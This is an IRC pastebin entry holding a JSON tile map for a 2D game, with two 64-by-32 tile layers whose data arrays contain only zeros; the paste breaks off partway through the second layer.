# posts

who: Dagda
where: localhost:perlbot:#perl
paste:
{
   "properties" : {},
   "layers" : [
      {
         "width" : 64,
         "visible" : true,
         "x" : 0,
         "type" : "tilelayer",
         "name" : "backbackground",
         "y" : 0,
         "height" : 32,
         "opacity" : 1,
         "data" : [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
         ]
      },
      {
         "x" : 0,
         "type" : "tilelayer",
         "width" : 64,
         "visible" : true,
         "height" : 32,
         "opacity" : 1,
         "data" : [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
